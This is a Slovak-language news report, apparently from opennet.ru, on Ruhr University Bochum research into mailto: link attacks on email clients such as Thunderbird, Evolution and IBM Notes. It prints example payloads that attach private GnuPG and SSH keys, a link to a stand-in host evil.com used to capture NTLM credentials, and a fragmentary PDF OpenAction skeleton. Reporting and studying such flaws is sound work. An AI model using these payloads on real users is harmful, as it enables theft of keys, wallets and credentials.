Vedci z Ruhrskej univerzity v Bochume (Nemecko) () správanie poštových klientov pri spracovaní odkazov „mailto:“ s rozšírenými parametrami. Päť z dvadsiatich skúmaných poštových klientov sa ukázalo byť zraniteľných voči útokom, ktoré manipulujú s náhradou zdrojov pomocou parametra „attach“. Ďalších šesť poštových klientov bolo vystavených útokom zameraným na výmenu PGP a S/MIME kľúčov, a traja klienti boli zraniteľní voči útoku zameranému na získanie obsahu zašifrovaných správ.
Odkazy „“ sa používajú na automatizáciu otvorenia poštového klienta s cieľom napísať e-mail určenému adresátovi uvedenému v odkaze. Okrem adresy môže odkaz obsahovať aj ďalšie parametre, ako napríklad predmet e-mailu a šablónu typického obsahu. Navrhnutý útok manipuluje s parametrom „attach“, ktorý umožňuje priložiť k vytváranému e-mailu prílohu.
Poštové klienty Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) a Pegasus Mail boli vystavené triviálnemu útoku, ktorý umožňuje automatické pripojenie akéhokoľvek miestneho súboru uvedeného cez odkaz typu „mailto:?attach=cesta_k_súboru“. Súbor sa priloží bez varovania, takže používateľ si môže nevšimnúť, že e-mail bude odoslaný s priloženou prílohou.
Napríklad, pomocou odkazu typu „mailto:?to=user@example.com&subject=Názov&body=Text&attach=~/.gnupg/secring.gpg“ je možné priložiť do e-mailu súkromné kľúče z GnuPG. Rovnako je možné odoslať obsah kryptopeňaženiek (~/.bitcoin/wallet.dat), SSH kľúče (~/.ssh/id_rsa) a akékoľvek prístupné súbory pre používateľa. Navyše, Thunderbird umožňuje priložiť skupiny súborov podľa masky pomocou konštrukcií typu „attach=/tmp/*.txt“.
Okrem lokálnych súborov niektoré poštové klienty spracovávajú odkazy na sieťové úložiská a cesty na IMAP serveri. Najmä IBM Notes umožňuje preniesť súbor z sieťového adresára pri spracovaní odkazov typu „attach=\\evil.com\dummyfile“, ako aj zachytiť NTLM autentifikačné parametre presmerovaním odkazu na SMB server kontrolovaný útočníkom (požiadavka bude odoslaná s aktuálnymi autentifikačnými parametrami používateľa).
Thunderbird úspešne spracováva požiadavky vo forme „attach=imap://fetch>UID>/INBOX>1/“, ktoré umožňujú pripojiť obsah z priečinkov na IMAP serveri. Pri tom sú e-maily zozbierané z IMAP, zašifrované pomocou OpenPGP a S/MIME, automaticky dešifrované e-mailovým klientom pred odoslaním. Vývojári Thunderbird boli o probléme vo februári a vo vydaní problém už bol odstránený (vetvy Thunderbird 52, 60 a 68 zostávajú zraniteľné).
Staré verzie Thunderbird sa ukázali ako zraniteľné aj voči dvom ďalším variantom útokov na PGP a S/MIME, ktoré navrhli výskumníci. Konkrétne sa útok na výmenu kľúčov týkal nielen Thunderbirdu, ale tiež OutLooku, PostBoxu, eM Clientu, MailMate a R2Mail2, čo umožnilo útočníkom organizovať podvod s už uloženými otvorenými kľúčmi, keďže e-mailový klient automaticky importuje a inštaluje nové certifikáty prenosom v správach S/MIME.
Druhý útok, ktorému sú vystavené Thunderbird, PostBox a MailMate, manipuluje s aspektmi mechanizmu automatického ukladaní konceptov správ a umožňuje pomocou parametrov mailto iniciovať dešifrovanie zašifrovaných správ alebo pridanie digitálneho podpisu pre ľubovoľné správy, s následným poslaním výsledku na IMAP server útočníka. Šifrový text je pri tomto útoku prenášaný cez parameter „body“ a na iniciovanie prístupu k IMAP serveru útočníka sa používa značka „meta refresh“. Napríklad: ‘<meta http-equiv=
Na automatické spracovanie odkazov „mailto:“ bez účasti užívateľa môžu byť použité špeciálne upravené PDF dokumenty — akcia OpenAction v PDF umožňuje automaticky spustiť spracovateľ mailto pri otvorení dokumentu:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Zdroj: opennet.ru
